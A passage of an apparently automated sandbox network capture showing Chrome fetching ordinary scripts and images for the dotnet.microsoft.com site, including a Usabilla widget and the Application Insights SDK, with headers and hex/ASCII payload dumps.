Ascii: ady)\|\|(C.isReady=!0,!0!==e&&--C.readyWait>0\|\|J.resolveWith(_,[C]))}}),C.ready.then=J.then,"complete"===_.readyState\|\|"loading"!==_.readyState&&!_.documentElement.doScroll?i.setTimeout(C.ready):(_.addEventListener("DOMContentLoaded",Z),i.addEventListener("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49795	52.208.202.206	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:38 UTC	538	OUT	GET /71e348d38aa1.js?lv=1 HTTP/1.1 Host: w.usabilla.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:39 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:38 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public,max-age=0 Etag: "00f759f9cb266d4b511e037df8e1189c" Pragma: no-cache X-Widget-Server: 2.1
2024-11-23 20:11:39 UTC	7944	IN	Data Raw: 31 66 30 30 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 77 69 6e 64 6f 77 26 26 28 77 69 6e 64 6f 77 2e 6c 69 67 68 74 6e 69 6e 67 6a 73 7c 7c 66 75 6e 63 74 69 6f 6e 28 64 2c 66 29 7b 76 61 72 20 65 3d 64 2e 6c 69 67 68 74 6e 69 6e 67 6a 73 3d 7b 6d 6f 64 75 6c 65 73 3a 66 2e 6d 6f 64 75 6c 65 73 7d 2c 72 3d 66 2e 6d 6f 64 75 6c 65 73 3b 65 2e 65 78 70 65 6e 73 69 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 5f 77 61 69 74 66 6f 72 6c 6f 61 64 3d 21 30 3b 72 65 74 75 72 6e 20 62 7d 3b 76 6f 69 64 20 30 3b 65 2e 72 65 71 75 69 72 65 3d 66 2e 72 65 71 75 69 72 65 3b 65 2e 70 72 6f 76 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 6c 29 7b 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 76 61 72 20 61 3d 64 2e 63 6f 6e Data Ascii: 1f00(function(){window.parent!=window&&(window.lightningjs\|\|function(d,f){var e=d.lightningjs={modules:f.modules},r=f.modules;e.expensive=function(b){b._waitforload=!0;return b};void 0;e.require=f.require;e.provide=function(b,l){function m(){var a=d.con
2024-11-23 20:11:39 UTC	11025	IN	Data Raw: 32 62 30 39 0d 0a 30 2c 64 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 29 3b 72 65 74 75 72 6e 20 64 7d 7d 2c 70 61 74 68 6e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 28 28 6e 75 6c 6c 21 3d 28 61 3d 67 2e 6c 6f 63 61 74 69 6f 6e 29 3f 61 2e 70 61 74 68 6e 61 6d 65 3a 76 6f 69 64 20 30 29 7c 7c 22 22 29 2b 28 67 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 7c 7c 22 22 29 2b 28 67 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 7c 7c 22 22 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 21 3d 28 61 3d 67 2e 6c 6f 63 61 74 69 6f 6e 29 3f 61 2e 70 61 74 68 6e 61 6d 65 3a 76 6f 69 64 20 30 29 7c 7c 22 22 7d 7d 7d 3b 72 Data Ascii: 2b090,d.indexOf("?")));return d}},pathname:function(a){return a?function(){var a;return((null!=(a=g.location)?a.pathname:void 0)\|\|"")+(g.location.search\|\|"")+(g.location.hash\|\|"")}:function(){var a;return(null!=(a=g.location)?a.pathname:void 0)\|\|""}}};r
2024-11-23 20:11:39 UTC	8171	IN	Data Raw: 31 66 65 33 0d 0a 22 37 31 65 33 34 38 64 33 38 61 61 31 22 3b 76 61 72 20 43 3d 6e 75 6c 6c 3b 76 61 72 20 76 3d 5b 5d 3b 76 61 72 20 46 3d 5b 5d 3b 76 61 72 20 71 3d 5b 5d 3b 76 61 72 20 47 3d 21 31 3b 76 61 72 20 52 3d 7b 22 32 39 35 34 30 38 63 31 39 39 65 36 22 3a 7b 22 76 22 3a 34 2c 22 61 22 3a 74 72 75 65 2c 22 74 22 3a 5b 7b 22 74 79 70 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 6e 61 6d 65 22 3a 22 61 73 70 6e 65 74 2d 68 6f 73 74 65 72 2d 73 69 67 6e 75 70 22 7d 5d 2c 22 65 22 3a 7b 22 65 66 66 65 63 74 22 3a 22 76 32 5c 2f 70 6f 70 6f 75 74 22 2c 22 73 70 65 65 64 22 3a 36 30 30 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 36 74 69 7a 66 74 6c 72 70 75 6f 66 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 5c 2f 6c 69 76 65 Data Ascii: 1fe3"71e348d38aa1";var C=null;var v=[];var F=[];var q=[];var G=!1;var R={"295408c199e6":{"v":4,"a":true,"t":[{"type":"custom","name":"aspnet-hoster-signup"}],"e":{"effect":"v2\/popout","speed":600,"location":"https:\/\/d6tizftlrpuof.cloudfront.net\/live
2024-11-23 20:11:39 UTC	13646	IN	Data Raw: 33 35 34 36 0d 0a 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 74 6f 70 70 65 64 3d 21 30 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 68 69 73 2e 65 66 66 65 63 74 29 72 65 74 75 72 6e 20 74 68 69 73 2e 65 66 66 65 63 74 2e 73 74 6f 70 28 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 74 6f 70 28 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 68 69 73 2e 65 66 66 65 63 74 29 72 65 74 75 72 6e 20 74 68 69 73 2e 65 66 66 65 63 74 2e 64 65 73 74 72 6f 79 28 29 2c 0a 74 68 69 73 2e 65 66 66 65 63 74 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 67 67 65 72 55 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 74 68 69 73 2e 74 72 69 67 67 65 72 65 64 Data Ascii: 3546nction(){this.stopped=!0;if(null!==this.effect)return this.effect.stop()};b.prototype.destroy=function(){this.stop();if(null!==this.effect)return this.effect.destroy(),this.effect=null};b.prototype.triggerUpdate=function(){var a=this;this.triggered
2024-11-23 20:11:39 UTC	96	IN	Data Raw: 35 61 0d 0a 63 75 73 74 6f 6d 4f 70 74 69 6f 6e 43 6c 69 63 6b 3d 61 7d 2c 73 65 74 49 6e 74 65 67 72 61 74 69 6f 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6e 2e 6c 6f 63 61 6c 5f 64 61 74 61 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 3d 61 7d 7d 29 7d 3b 0a 7d 29 28 29 3b 0d 0a Data Ascii: 5acustomOptionClick=a},setIntegrationData:function(a){n.local_data.integrations=a}})};})();
2024-11-23 20:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49796	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:38 UTC	428	OUT	GET /static/js/main.min.js?v=JTXjSTLeQEf2HpRn_VGoah8uOwqnbFRmJTgpqsIm-Gg HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MSCC=NR
2024-11-23 20:11:39 UTC	756	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:39 GMT Content-Type: text/javascript Content-Length: 28968 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d59f528" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=75.42297024775516; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201139Z-178bfbc474brk967hC1NYCfu6000000004r000000000buuc X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:39 UTC	15628	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 74 3d 7b 38 37 39 31 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 72 65 74 75 72 6e 20 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 Data Ascii: /! For license information please see main.min.js.LICENSE.txt /(()=>{var t={8791:(t,e,n)=>{function i(t){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&
2024-11-23 20:11:39 UTC	157	IN	Data Raw: 74 79 3d 22 22 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 6e 3d 65 2e 64 75 72 61 74 69 6f 6e 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 31 65 33 3a 6e 2c 6f 3d 65 2e 64 65 6c 61 79 2c 72 3d 69 2f 28 76 6f 69 64 20 30 3d 3d 3d 6f 3f 31 36 3a 6f 29 2c 73 3d 74 2e Data Ascii: ty=""},d=function(t){for(var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e.duration,i=void 0===n?1e3:n,o=e.delay,r=i/(void 0===o?16:o),s=t.
2024-11-23 20:11:39 UTC	13183	IN	Data Raw: 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 2f 28 3c 5b 5e 3e 5d 2b 3e 7c 5b 30 2d 39 2e 5d 5b 2c 2e 30 2d 39 5d 2a 5b 30 2d 39 5d 2a 29 2f 29 2c 6c 3d 5b 5d 2c 63 3d 30 3b 63 3c 72 3b 63 2b 2b 29 6c 2e 70 75 73 68 28 22 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 2f 28 5b 30 2d 39 2e 5d 5b 2c 2e 30 2d 39 5d 2a 5b 30 2d 39 5d 2a 29 2f 2e 74 65 73 74 28 73 5b 75 5d 29 26 26 21 2f 3c 5b 5e 3e 5d 2b 3e 2f 2e 74 65 73 74 28 73 5b 75 5d 29 29 7b 76 61 72 20 74 3d 73 5b 75 5d 2c 65 3d 61 28 74 2e 6d 61 74 63 68 41 6c 6c 28 2f 5b 2e 2c 5d 2f 67 29 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 63 68 61 72 3a 65 5b 30 5d 2c 69 3a 74 2e 6c 65 6e 67 74 68 2d 65 2e 69 6e 64 65 78 2d 31 7d 7d Data Ascii: toString().split(/(<[^>]+>\|[0-9.][,.0-9][0-9])/),l=[],c=0;c<r;c++)l.push("");for(var d=function(){if(/([0-9.][,.0-9][0-9])/.test(s[u])&&!/<[^>]+>/.test(s[u])){var t=s[u],e=a(t.matchAll(/[.,]/g)).map((function(e){return{char:e[0],i:t.length-e.index-1}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49797	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:39 UTC	365	OUT	GET /scripts/b/ai.2.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:39 UTC	924	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:39 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 123063 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=1800, immutable, no-transform Last-Modified: Wed, 20 Mar 2024 17:31:27 GMT ETag: 0x8DC490392FC747D x-ms-request-id: a651e1d0-a01e-00ee-7bc2-2c8ab3000000 x-ms-version: 2009-09-19 x-ms-meta-aijssdksrc: [cdn]/scripts/b/ai.2.8.18.min.js x-ms-meta-aijssdkver: 2.8.18 Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-aijssdksrc,x-ms-meta-aijssdkver,x-ms-meta-lastmodified,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241123T201139Z-174c587ffdf8fcgwhC1TEBnn7000000003fg00000000p45u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 20:11:39 UTC	15460	IN	Data Raw: 2f 2a 21 0a 20 2a 20 41 70 70 6c 69 63 61 74 69 6f 6e 20 49 6e 73 69 67 68 74 73 20 4a 61 76 61 53 63 72 69 70 74 20 53 44 4b 20 2d 20 57 65 62 2c 20 32 2e 38 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 74 29 6e 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 Data Ascii: /! Application Insights JavaScript SDK - Web, 2.8.18 * Copyright (c) Microsoft and contributors. All rights reserved. */!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&def
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 63 61 74 63 68 28 63 29 7b 61 26 26 61 5b 47 65 5d 26 26 61 5b 47 65 5d 28 22 65 78 63 65 70 74 69 6f 6e 22 2c 63 29 7d 66 69 6e 61 6c 6c 79 7b 61 26 26 65 2e 66 69 72 65 28 61 29 2c 65 5b 47 65 5d 28 56 72 2c 75 29 7d 7d 72 65 74 75 72 6e 20 74 28 29 7d 76 61 72 20 4b 72 3d 34 32 39 34 39 36 37 32 39 36 2c 58 72 3d 34 32 39 34 39 36 37 32 39 35 2c 57 72 3d 21 31 2c 47 72 3d 31 32 33 34 35 36 37 38 39 2c 4a 72 3d 39 38 37 36 35 34 33 32 31 3b 66 75 6e 63 74 69 6f 6e 20 24 72 28 65 29 7b 65 3c 30 26 26 28 65 3e 3e 3e 3d 30 29 2c 47 72 3d 31 32 33 34 35 36 37 38 39 2b 65 26 58 72 2c 4a 72 3d 39 38 37 36 35 34 33 32 31 2d 65 26 58 72 2c 57 72 3d 21 30 7d 66 75 6e 63 74 69 6f 6e 20 51 72 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 32 31 34 37 34 38 33 36 34 37 26 Data Ascii: catch(c){a&&a[Ge]&&a[Ge]("exception",c)}finally{a&&e.fire(a),e[Ge](Vr,u)}}return t()}var Kr=4294967296,Xr=4294967295,Wr=!1,Gr=123456789,Jr=987654321;function $r(e){e<0&&(e>>>=0),Gr=123456789+e&Xr,Jr=987654321-e&Xr,Wr=!0}function Qr(){try{var e=2147483647&
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 29 2c 21 30 7d 2c 67 65 74 43 68 61 6e 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 73 26 26 30 3c 73 5b 52 5d 26 26 24 28 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 30 3c 65 2e 71 75 65 75 65 5b 52 5d 26 26 28 24 28 65 2e 71 75 65 75 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 5b 73 65 5d 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 74 3d 65 2c 2d 31 7d 29 2c 74 29 29 72 65 74 75 72 6e 2d 31 7d 29 2c 74 7d 2c 66 6c 75 73 68 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 31 2c 6e 3d 21 31 2c 61 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 6f 2d 2d 2c 6e 26 26 30 3d 3d 3d 6f 26 26 28 61 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 2c Data Ascii: ),!0},getChannel:function(n){var t=null;return s&&0<s[R]&&$(s,function(e){if(e&&0<e.queue[R]&&($(e.queue,function(e){if(e[se]===n)return t=e,-1}),t))return-1}),t},flush:function(t,e,r,i){var o=1,n=!1,a=null;function u(){o--,n&&0===o&&(a&&(clearTimeout(a),
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 7c 65 26 26 65 2e 64 69 73 61 62 6c 65 43 6f 72 72 65 6c 61 74 69 6f 6e 48 65 61 64 65 72 73 29 72 65 74 75 72 6e 21 31 3b 69 66 28 65 26 26 65 5b 4b 61 5d 29 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 48 65 61 64 65 72 45 78 63 6c 75 64 65 50 61 74 74 65 72 6e 73 5b 67 5d 3b 72 2b 2b 29 69 66 28 65 5b 4b 61 5d 5b 72 5d 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 69 3d 58 75 28 6e 29 2e 68 6f 73 74 5b 71 61 5d 28 29 3b 69 66 28 21 69 7c 7c 2d 31 3d 3d 3d 69 5b 58 61 5d 28 22 3a 34 34 33 22 29 26 26 2d 31 3d 3d 3d 69 5b 58 61 5d 28 22 3a 38 30 22 29 7c 7c 28 69 3d 28 24 75 28 6e 2c 21 30 29 7c 7c 22 22 29 5b 71 61 5d 28 29 29 2c 28 21 65 7c 7c 21 65 2e 65 6e 61 62 6c 65 43 6f 72 73 43 6f 72 72 65 Data Ascii: \|e&&e.disableCorrelationHeaders)return!1;if(e&&e[Ka])for(var r=0;r<e.correlationHeaderExcludePatterns[g];r++)if(e[Ka][r].test(n))return!1;var i=Xu(n).host[qa]();if(!i\|\|-1===i[Xa](":443")&&-1===i[Xa](":80")\|\|(i=($u(n,!0)\|\|"")[qa]()),(!e\|\|!e.enableCorsCorre
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 72 20 51 73 3d 22 61 69 2e 61 6a 78 6d 6e 2e 22 2c 59 73 3d 22 64 69 61 67 4c 6f 67 22 2c 5a 73 3d 22 5f 61 6a 61 78 44 61 74 61 22 2c 65 6c 3d 22 66 65 74 63 68 22 2c 6e 6c 3d 22 46 61 69 6c 65 64 20 74 6f 20 6d 6f 6e 69 74 6f 72 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 2c 69 3d 22 2c 20 6d 6f 6e 69 74 6f 72 69 6e 67 20 64 61 74 61 20 66 6f 72 20 74 68 69 73 20 61 6a 61 78 20 63 61 6c 6c 20 22 2c 74 6c 3d 69 2b 22 6d 61 79 20 62 65 20 69 6e 63 6f 72 72 65 63 74 2e 22 2c 72 6c 3d 69 2b 22 77 6f 6e 27 74 20 62 65 20 73 65 6e 74 2e 22 2c 69 6c 3d 22 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 20 63 6f 72 72 65 6c 61 74 69 6f 6e 20 68 65 61 64 65 72 20 61 73 20 69 74 20 6d 61 79 20 62 65 20 6e 6f 74 20 69 6e Data Ascii: r Qs="ai.ajxmn.",Ys="diagLog",Zs="_ajaxData",el="fetch",nl="Failed to monitor XMLHttpRequest",i=", monitoring data for this ajax call ",tl=i+"may be incorrect.",rl=i+"won't be sent.",il="Failed to get Request-Context correlation header as it may be not in
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 2c 32 35 2c 22 74 72 61 63 6b 50 61 67 65 56 69 65 77 3a 20 6e 61 76 69 67 61 74 69 6f 6e 20 74 69 6d 69 6e 67 20 41 50 49 20 75 73 65 64 20 66 6f 72 20 63 61 6c 63 75 6c 61 74 69 6f 6e 20 6f 66 20 70 61 67 65 20 64 75 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 2e 20 54 68 69 73 20 70 61 67 65 20 76 69 65 77 20 77 69 6c 6c 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 20 77 69 74 68 6f 75 74 20 64 75 72 61 74 69 6f 6e 20 61 6e 64 20 74 69 6d 69 6e 67 20 69 6e 66 6f 2e 22 29 29 3b 76 61 72 20 75 2c 6e 2c 63 3d 21 31 2c 73 3d 67 5b 66 64 5d 28 29 5b 64 64 5d 3b 30 3c 73 26 26 28 75 3d 6e 63 28 73 2c 2b 6e 65 77 20 44 61 74 65 29 2c 67 5b 70 64 5d 28 75 29 7c 7c 28 75 3d 75 6e 64 65 66 69 6e Data Ascii: ,25,"trackPageView: navigation timing API used for calculation of page duration is not supported in this browser. This page view will be collected without duration and timing info."));var u,n,c=!1,s=g[fd]()[dd];0<s&&(u=nc(s,+new Date),g[pd](u)\|\|(u=undefin
2024-11-23 20:11:40 UTC	16384	IN	Data Raw: 66 2c 31 2c 34 38 2c 6e 26 26 57 28 6e 5b 5a 64 5d 29 3f 6e 5b 5a 64 5d 28 29 3a 22 45 72 72 6f 72 20 73 65 72 69 61 6c 69 7a 69 6e 67 20 6f 62 6a 65 63 74 22 2c 6e 75 6c 6c 2c 21 30 29 7d 7d 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 6e 29 7b 69 66 28 65 29 69 66 28 71 28 65 29 29 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 72 3d 30 3b 72 3c 65 5b 4f 5d 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 73 28 65 5b 72 5d 2c 6e 2b 22 5b 22 2b 72 2b 22 5d 22 29 3b 74 5b 6f 70 5d 28 69 29 7d 65 6c 73 65 20 48 28 66 2c 31 2c 35 34 2c 22 54 68 69 73 20 66 69 65 6c 64 20 77 61 73 20 73 70 65 63 69 66 69 65 64 20 61 73 20 61 6e 20 61 72 72 61 79 20 69 6e 20 74 68 65 20 63 6f 6e 74 72 61 63 74 20 62 75 74 20 74 68 65 20 69 74 65 6d 20 69 73 20 6e 6f 74 20 61 Data Ascii: f,1,48,n&&W(n[Zd])?n[Zd]():"Error serializing object",null,!0)}}return c}function l(e,n){if(e)if(q(e))for(var t=[],r=0;r<e[O];r++){var i=s(e[r],n+"["+r+"]");t[op](i)}else H(f,1,54,"This field was specified as an array in the contract but the item is not a
2024-11-23 20:11:40 UTC	9299	IN	Data Raw: 7c 6e 26 26 21 75 67 28 6e 29 3f 48 28 63 2c 32 2c 36 30 2c 22 53 65 74 74 69 6e 67 20 61 75 74 68 20 75 73 65 72 20 63 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 2e 20 55 73 65 72 20 61 75 74 68 2f 61 63 63 6f 75 6e 74 20 69 64 20 73 68 6f 75 6c 64 20 62 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 61 6e 64 20 6e 6f 74 20 63 6f 6e 74 61 69 6e 20 63 6f 6d 6d 61 73 2c 20 73 65 6d 69 2d 63 6f 6c 6f 6e 73 2c 20 65 71 75 61 6c 20 73 69 67 6e 73 2c 20 73 70 61 63 65 73 2c 20 6f 72 20 76 65 72 74 69 63 61 6c 2d 62 61 72 73 2e 22 2c 21 30 29 3a 28 72 5b 4b 76 5d 3d 65 2c 65 3d 72 5b 4b 76 5d 2c 6e 26 26 28 72 5b 4c 76 5d 3d 6e 2c 65 3d 5b 72 5b 4b 76 5d 2c 72 2e 61 63 63 6f 75 6e 74 49 64 5d 5b 59 76 5d 28 73 67 5b 5a 76 5d 29 29 2c 74 26 26 73 2e 73 65 74 Data Ascii: \|n&&!ug(n)?H(c,2,60,"Setting auth user context failed. User auth/account id should be of type string, and not contain commas, semi-colons, equal signs, spaces, or vertical-bars.",!0):(r[Kv]=e,e=r[Kv],n&&(r[Lv]=n,e=[r[Kv],r.accountId][Yv](sg[Zv])),t&&s.set

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49800	108.158.71.127	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:41 UTC	667	OUT	GET /themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:42 UTC	593	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 2174 Connection: close Date: Sat, 23 Nov 2024 20:11:43 GMT Last-Modified: Fri, 02 Dec 2022 15:04:46 GMT ETag: "bd8edd6aee4a2cdd05bc7f6ed668f1d6" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: V20rrCmiFxceoks5UsO5QxekQ_Hunnz_ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 d13599e93e28769e714d7ed56fe9074a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: Tobql8IFGu9OK7x2IyCBcFojMVLPyNRv9VPdfc6x9gV6U5y5zHPGXQ==
